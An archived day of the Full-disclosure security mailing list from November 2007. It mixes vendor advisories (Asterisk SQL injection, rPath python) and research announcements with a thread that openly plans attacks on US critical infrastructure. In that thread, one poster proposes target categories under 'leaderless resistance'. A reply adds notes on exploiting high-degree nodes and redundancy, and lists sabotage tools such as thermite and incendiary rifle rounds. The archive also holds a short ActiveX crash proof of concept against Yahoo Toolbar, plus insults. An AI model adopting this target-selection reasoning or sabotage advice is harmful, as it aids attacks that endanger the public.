Re: [Full-disclosure] High Value Target Selection

2007-11-30 Thread coderman
On Nov 30, 2007 11:02 AM, gmaggro <[EMAIL PROTECTED]> wrote:
> I think it'd be interesting if we started a discussion on the selection
> of high value targets

translation: let's discuss how to discern high degree and/or vulnerable
nodes in critical infrastructure networks.


> 1. To bring like minded people together while operating under the
> strategy of 'leaderless resistance'
> (http://en.wikipedia.org/wiki/Leaderless_resistance)

*yawn*


> 2. To be the 'aboveground' partner to the 'underground' scene, or at
> least serve to distract authorities from the activities of underground
> groups

... ZZZZZ ... you're losing me, jim.


> 3. To see exactly what can be accomplished, and accomplish it

pretty easy to make inferences once you've mapped out the critical
infrastructure in question.  this is of course a little more difficult now
given the mostly inept attempts to reign in useful information on such
infrastructure.  (the easy days of pulling up fiber plats via county/gov
websites is long gone...)

as for actual attacks, you'll be biting the hand that feeds...
(i'll wait for that decentralized wireless mesh net before slicing
those glassy life lines, thanks)


> 4. To capture the imagination of the public

more like hatred.

the unwashed masses get all restless and cranky when:
a) the 'tubes are clogged or dead
b) phone lines to anywhere outside town are down.
c) all credit / debit transactions are dead - cash only?
d) some/most cable programming is tits up
e) travel and/or fuel is highly constrained / unavailable
f) electricity is spotty or unavailable


> Capturing the imagination of the public sounds like bizspeek bullshit,

this i fully agree with.  thanks for that...


> So, types of infrastructure to attack:
> [ list of infrastructure domains as if they exist as discrete units
 independent of each other... lolz! ]

rarely is one affected in isolation.  the ugly truth about critical
infrastructure
is that those high degree, critical nodes start impacting multiple domains
at once when affected by outages or targeted attack.


> [lots of blah blah blah misunderstanding of what critical infrastructure
>  is and how it is organized, USA bashing, etc...]

first, go read Global Guerrillas.  that will keep you busy for a few weeks
and save us all more of this blather:
 http://globalguerrillas.typepad.com/globalguerrillas/

second, some attacking critical infrastructure clif notes:

1. those with clue have realized the folly of trying to make infallible
   infrastructure.  their focus has shifted to rapid repair instead of
   prevention.  there are papers written that describe exactly how
   stupid it is to think you can build resilient infrastructure in the face
   of a skilled attacker.
   (see the ATT telco in a trailer truck, etc)

2. critical infrastructure viewed as a graph theory problem highlights
   the compound vulnerabilities across multiple infrastructures inherent
   in high degree / high value nodes of critical infrastucture.
   (metropolitan bridges carrying fiber, gas, electricity, vehicles, etc
over the same physical span, etc.)

3. most critical infrastructure is resilient against planned / common
   failure scenarios, and these protections actually create hyper-
   sensitive vulnerabilities against targeted / unplanned attacks.
   (M of N redundancy that leads to catastrophic failure against
well targeted M attacks, etc.)

combining these aspects into attack scenarios is left as an
exercise for the reader [who pines for a vacation in club fed...]

the crux of the problem for the practical attacker is discerning the nature
and location of critical infrastructure nodes and links.  fortunately for the
determined individual this is merely a matter of effort and time, not a
question of ability.  for the rest of us this means our life style / way of life
is highly dependent on the lack of sufficiently skilled malcontents able and
willing to express their grievances in direct action against such systems.

perhaps this can be viewed as a check against the fascist dystopia many
fear as the end result of authoritarian abuse of power coupled with high
tech tools for manipulation and control of the populace...

best regards,


p.s. my favorite tools in such scenarios (of course not advocation):

- the thermic lance
- portable saws (lithium battery cells quite power dense now)
- post hole diggers
- thermite flower pots (lol, so much fun!)
- software defined / police band and EM svcs capable radios
- bolt action .50 BMG (incendiary DU rounds++)

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Re: [Full-disclosure] High Value Target Selection

2007-11-30 Thread Peter Besenbruch
On Friday 30 November 2007 09:02:26 gmaggro wrote:
> I think it'd be interesting if we started a discussion on the selection
> of high value targets to be used in the staging of attacks that damage
> significant infrastructure. The end goals, ranked equal in importance,
> would be as follows:

[big snip]

So, you wanted to send a little Christmas present to the NSA folks monitoring 
the Internet backbone? Make their unutterably boring lives a little 
more "interesting?"

We live in "interesting" times (not a good thing). I was over at the Mycroft 
site, and noticed that there was a Firefox search extension for Scroogle that 
uses encryption. There was another encrypted search tool for Wikipedia.

http://mycroft.mozdev.org/download.html?name=scroogle&sherlock=yes&opensearch=yes&submitform=Search
http://mycroft.mozdev.org/download.html?name=secure+wikipedia&sherlock=yes&opensearch=yes&submitform=Search

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[Full-disclosure] 27Mhz based wireless security insecurities - Aka - "We know what you typed last summer"

2007-11-30 Thread Max Moser
Dear List members,

Today the team remote-exploit.org together with Dreamlab Technologies likes
to release another piece of uniq research work.

Although the trend in wireless communication in peripheral devices such as
keyboards and mice is moving towards Bluetooth, market leaders such as
Logitech and Microsoft rely on cost-efficient, tried-and-tested 27Mhz radio
technology.

Using just a simple radio receiver, a soundcard and suitable software, the
remote-exploit.org  members Max Moser & Philipp Schroedel have managed to
tap and decode the radio frequencies transmitted between the keyboard and
PC/notebook computer.

Although manufacturers of wireless keyboards partially prevent data from being
tapped by using cryptography, unfortunately the encryption is weak and thus does
not offer real protection.

During the test, we succeeded in eavesdropping traffic from a distance
of up to ten meters. With the appropriate technical equipment, larger distances
are possible.

For further information/whitepaper and a demonstration of the attack checkout:

http://www.remote-exploit.org  or http://www.dreamlab.net.

In addition you can find the official non-technical press release from
Dreamlab Technologies at:

http://www.remote-exploit.org/Press_Release_Dreamlab_Technologies_Wireless_Keyboard.pdf

Max Moser & Philipp Schroedel
Dreamlab Technologies AG / Team remote-exploit.org

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[Full-disclosure] PlayStation 3 predicts next US president (fwd)

2007-11-30 Thread Jay Sulzberger


-- Forwarded message --
  Date: Fri, 30 Nov 2007 05:29:35 +0100
  From: "Weger, B.M.M. de" <[EMAIL PROTECTED]>
  Cc: [EMAIL PROTECTED], [EMAIL PROTECTED]
  Subject: PlayStation 3 predicts next US president

  Hi all,

  We (Marc Stevens, Arjen Lenstra and me) have used a Sony PlayStation 3
  to correctly predict the outcome of the 2008 US presidential elections.
  See http://www.win.tue.nl/hashclash/Nostradamus if you want to know
  the details of what this has to do with cryptography.

  We also announce two different Win32 executables that have identical
  MD5 hash values. This can be made to happen for any two executable
  files.
  This implies a vulnerability in software integrity protection and
  code signing schemes that still use MD5.
  See http://www.win.tue.nl/hashclash/SoftIntCodeSign for details.

  Grtz,
  Benne de Weger

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[Full-disclosure] High Value Target Selection

2007-11-30 Thread gmaggro
I think it'd be interesting if we started a discussion on the selection
of high value targets to be used in the staging of attacks that damage
significant infrastructure. The end goals, ranked equal in importance,
would be as follows:

1. To bring like minded people together while operating under the
strategy of 'leaderless resistance'
(http://en.wikipedia.org/wiki/Leaderless_resistance)

2. To be the 'aboveground' partner to the 'underground' scene, or at
least serve to distract authorities from the activities of underground
groups

3. To see exactly what can be accomplished, and accomplish it

4. To capture the imagination of the public

The 'leaderless resistance' aspect of organization is going to be key.
Plenty of technology exists for encryption and anonymity but that
doesn't apply to people. We have to be like the Internet itself here, as
originally intended: able to take the largest of blows and route around
the damage automatically. We also have to be like good encryption: able
to expose everything about our mechanism without leading to compromise.

Capturing the imagination of the public sounds like bizspeek bullshit,
but it's a very powerful tool - it only takes one cow to start a
stampede. Furthermore it serves as a useful discriminator in selecting
targets. Bringing down Facebook or Amazon might annoy people... but it
really gets driven home when they can't pay their bills, buy food from
supermarkets, or take the train to work.

So, types of infrastructure to attack:

1. Transportation
2. Financial
3. Telecommunications
4. Petrochemical
5. Manufacturing
6. Health care
7. Education
8. Civilian Law Enforcement
9. Government (Judicial, Executive, Legislative)
10. Military

This is just what I've thought of to date. One thing we'll need to do is
prioritize that list and flesh it out. For instance, for 'Financial' I'd
be inclined to break up something like this: banks, credit card
companies, credit processing companies, ATM companies, credit bureaus,
collection agencies, investment firms, etc.

I guess we should pick some kind of a nation-state to narrow the scope.
I'm going to propose the USA for several reasons:

1. Alot of folks got it in for them. This makes it easier to blend into
the background. There's also the potential for assistance via
enemy-of-my-enemy-is-my-friend co-operation among like minded
individuals and groups. Also, in security, the advantage always goes to
the attacker; he only needs to be successful once but the defender has
to suceed every time. And since they're no doubt getting assaulted left
right and centre they've probably been tenderized pretty good. These
factors, I believe, combine to nullify any advantage they might have
from being well practiced at having to withstand assaults.

2.They're weak right now. In many ways. Given the issues in the
sub-prime market and it's cascade effects, profits are down everywhere.
When businesses lose money, what's the first thing that suffers?
Customer service. What's the second thing? Security. Not trying to slant
politically one way or the other here, but the American implementation
of capitalism is not renowned for having led to people making quality
goods or loving their jobs. Sloppiness abounds whether it's ACLs on the
router or easy-to-social-engineer employees. The effects of more people
losing their jobs and increased sociocultural turmoil will only
exacerbate this. Alot of talented people will be out a job for reason of
economics or colour, and if engaged properly, can add to the ranks.

3. They're easy to penetrate. If you can't walk right into the states
over the Mexican or Canadian border, then there's a million lines of
fibre and copper running straight in. It is an incredibly well connected
place with a widely geographically dispersed populace. And alot of
coffee shops near open wifi. Entire cities blanketed in connectivity
accessible from back alleys, washrooms in malls, or remote corners of
public parks with a 12db Yagi. Miles upon miles of SCADA wiring.

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Re: [Full-disclosure] Yahoo Toolbar Helper c() Method Stack Overflow DoS

2007-11-30 Thread Joey Mengele
Yeah, strange how EIP isn't overwritten with your hacker savvy 0x41 
characters. Except for the fact that this again is a stack overflow 
exception and not a stack based buffer overflow. I implore you, 
LEAVE THE TROLLING TO THE PROFESSIONALS. Thanks.

J

On Wed, 31 Dec 1969 19:00:00 -0500 Elazar Broad 
<[EMAIL PROTECTED]> wrote:
>There is a stack overflow in the c() method of the Yahoo Toobar 
>Helper class. This overflow does not appear to get anywhere near 
>the EIP or SEH. PoC as follows:
>
>--
>
>
> 
>  
>function Check() {
>var s = "";
>
> while (s.length < 99) s=s+s;
>
> var obj = new ActiveXObject("yt.ythelper.2"); //{02478D38-
>C3F9-4EFB-9B51-7695ECA05670}
>  obj.c(s);
>   }
>  
>
> 
> 
> 
>
>--
>
>Elazar
>
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[Full-disclosure] rPSA-2007-0254-1 idle python

2007-11-30 Thread rPath Update Announcements
rPath Security Advisory: 2007-0254-1
Published: 2007-11-30
Products:
rPath Appliance Platform Linux Service 1
rPath Linux 1

Rating: Major
Exposure Level Classification:
Indirect Deterministic Denial of Service
Updated Versions:
[EMAIL PROTECTED]:1/2.4.1-20.14-1
[EMAIL PROTECTED]:1/2.4.1-20.14-1

rPath Issue Tracking System:
https://issues.rpath.com/browse/RPL-1885

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4965

Description:
Previous versions of the python package contain multiple integer
overflow vulnerabilities that can cause some python applications to
crash (Denials of Service) or reveal memory contents (Information
Exposures).

http://wiki.rpath.com/Advisories:rPSA-2007-0254

Copyright 2007 rPath, Inc.
This file is distributed under the terms of the MIT License.
A copy is available at http://www.rpath.com/permanent/mit-license.html

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[Full-disclosure] Matasano watchdog blog opening shortly ..

2007-11-30 Thread Gobbles is back
Hello .. lol

Following our last post about Matasanos retarded commentary on the security
scene .. We like all our fans to know that our blog is about to go live. For
those who missed our earlier email .. This blog cover the following


1) Every time Matasano/Dave decide to talk from his/there ass, we shoot him
down

2) Every time a senseless topic unrelated to security such as "turbo bits"
is discussed we shoot him down

3) Whenever they discuss on virtualized rootkit and herbal pills by Joana
Rustokava we REALLY SHOOT THEM DOWN

4) Any name throwing we slap them a bit

Tip for matasano - Keep your blog clean, dont act Jesus, don't abuse
securityfous nexus power to dictate scene.. and always remember .. He make
you look like Jobe from ADM if u act funny ..

Having said that, lets start the fireworks .. we are still waiting for one
of these jokers to post some new stuff .. once they do .. he post official
blog link on FD.

Love,

Gobble

PS –  [EMAIL PROTECTED], spam the idiot !!
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Re: [Full-disclosure] n3td3v denounces the actions of www.derangedsecurity.com

2007-11-30 Thread Joey Mengele
Byron,

I don't understand what you mean in this message. Can you elaborate?

J

On Thu, 29 Nov 2007 10:05:19 -0500 Byron Sonne <[EMAIL PROTECTED]> 
wrote:
>> fellow scots stick up for each other, so remember that the next 
>time
>> you talk to a scotsman, because we're tough and bold and we'll 
>kick
>> you in the teeth you swedish fuck.
>
>You know why Scots wear kilts, right?
>
>Sheep can hear zippers.
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[Full-disclosure] Yahoo Toolbar Helper c() Method Stack Overflow DoS

2007-11-30 Thread Elazar Broad
There is a stack overflow in the c() method of the Yahoo Toobar Helper class. 
This overflow does not appear to get anywhere near the EIP or SEH. PoC as 
follows:

--


 
  
function Check() {
var s = "";

 while (s.length < 99) s=s+s;

 var obj = new ActiveXObject("yt.ythelper.2"); 
//{02478D38-C3F9-4EFB-9B51-7695ECA05670}
  obj.c(s);
   }
  

 
 
 

--

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[Full-disclosure] AST-2007-025 - SQL Injection issue in res_config_pgsql

2007-11-30 Thread Asterisk Security Team
   Asterisk Project Security Advisory - AST-2007-025

   ++
   |   Product| Asterisk|
   |--+-|
   |   Summary| SQL Injection issue in res_config_pgsql |
   |--+-|
   |  Nature of Advisory  | SQL Injection   |
   |--+-|
   |Susceptibility| Remote Unauthenticated Sessions |
   |--+-|
   |   Severity   | Moderate|
   |--+-|
   |Exploits Known| No  |
   |--+-|
   | Reported On  | November 29, 2007   |
   |--+-|
   | Reported By  | P. Chisteas |
   |--+-|
   |  Posted On   | November 29, 2007   |
   |--+-|
   |   Last Updated On| November 29, 2007   |
   |--+-|
   |   Advisory Contact   | Tilghman Lesher  |
   |--+-|
   |   CVE Name   | |
   ++

   ++
   | Description | Input buffers were not properly escaped when providing   |
   | | lookup data to the Postgres Realtime Engine. An attacker |
   | | could potentially compromise the administrative database |
   | | containing users' usernames and passwords used for SIP   |
   | | authentication, among other things.  |
   | |  |
   | | This module is not active by default and must be |
   | | configured for use by the administrator. Default |
   | | installations of Asterisk are not affected.  |
   ++

   ++
   | Workaround | Convert your installation to use res_config_odbc with the |
   || PgsqlODBC driver. This module provides similar|
   || functionality but is not vulnerable.  |
   ++

   ++
   |Resolution| Upgrade to Asterisk release 1.4.15 or higher.   |
   ++

   ++
   |   Affected Versions|
   ||
   |   Product|   Release   |   |
   |  |   Series|   |
   |--+-+---|
   | Asterisk Open Source |1.0.x| None  |
   |--+-+---|
   | Asterisk Open Source |1.2.x| None  |
   |--+-+---|
   | Asterisk Open Source |1.4.x| 1.4.14 and previous   |
   |  | | versions  |
   |--+-+---|
   |  Asterisk Business Edition   |A.x.x| None  |
   |--+-+---|
   |  Asterisk Business Edition   |B.x.x| None  |
   |--+-+---|
   | AsteriskNOW  | pre-release | None  |
   |--+-+---|
   | Asterisk Appliance Developer |0.x.x| None

[Full-disclosure] AST-2007-026 - SQL Injection issue in cdr_pgsql

2007-11-30 Thread Asterisk Security Team
   Asterisk Project Security Advisory - AST-2007-026

   ++
   |   Product| Asterisk|
   |--+-|
   |   Summary| SQL Injection issue in cdr_pgsql|
   |--+-|
   |  Nature of Advisory  | SQL Injection   |
   |--+-|
   |Susceptibility| Remote Authenticated Sessions   |
   |--+-|
   |   Severity   | Moderate|
   |--+-|
   |Exploits Known| No  |
   |--+-|
   | Reported On  | November 29, 2007   |
   |--+-|
   | Reported By  | Tilghman Lesher  |
   |--+-|
   |  Posted On   | November 29, 2007   |
   |--+-|
   |   Last Updated On| November 29, 2007   |
   |--+-|
   |   Advisory Contact   | Tilghman Lesher  |
   |--+-|
   |   CVE Name   | |
   ++

   ++
   | Description | Input buffers were not properly escaped when providing   |
   | | the ANI and DNIS strings to the Call Detail Record   |
   | | Postgres logging engine. An attacker could potentially   |
   | | compromise the administrative database containing users' |
   | | usernames and passwords used for SIP authentication, |
   | | among other things.  |
   | |  |
   | | This module is not active by default and must be |
   | | configured for use by the administrator. Default |
   | | installations of Asterisk are not affected.  |
   ++

   ++
   | Workaround | Convert your installation to use cdr_odbc with the|
   || PgsqlODBC driver. This module provides similar|
   || functionality but is not vulnerable.  |
   ++

   ++
   |Resolution| Upgrade to Asterisk release 1.4.15 or higher.   |
   ++

   ++
   |   Affected Versions|
   ||
   | Product  |   Release|  |
   |  |Series|  |
   |--+--+--|
   |   Asterisk Open Source   |1.0.x | All versions |
   |--+--+--|
   |   Asterisk Open Source   |1.2.x | 1.2.24 and previous  |
   |--+--+--|
   |   Asterisk Open Source   |1.4.x | 1.4.14 and previous  |
   |--+--+--|
   |Asterisk Business Edition |A.x.x | All versions |
   |--+--+--|
   |Asterisk Business Edition |B.x.x | B.2.3.3 and previous |
   |--+--+--|
   |   AsteriskNOW| pre-release  | None |
   |--+--+--|
   | Asterisk Appliance Developer Kit |0.x.x | None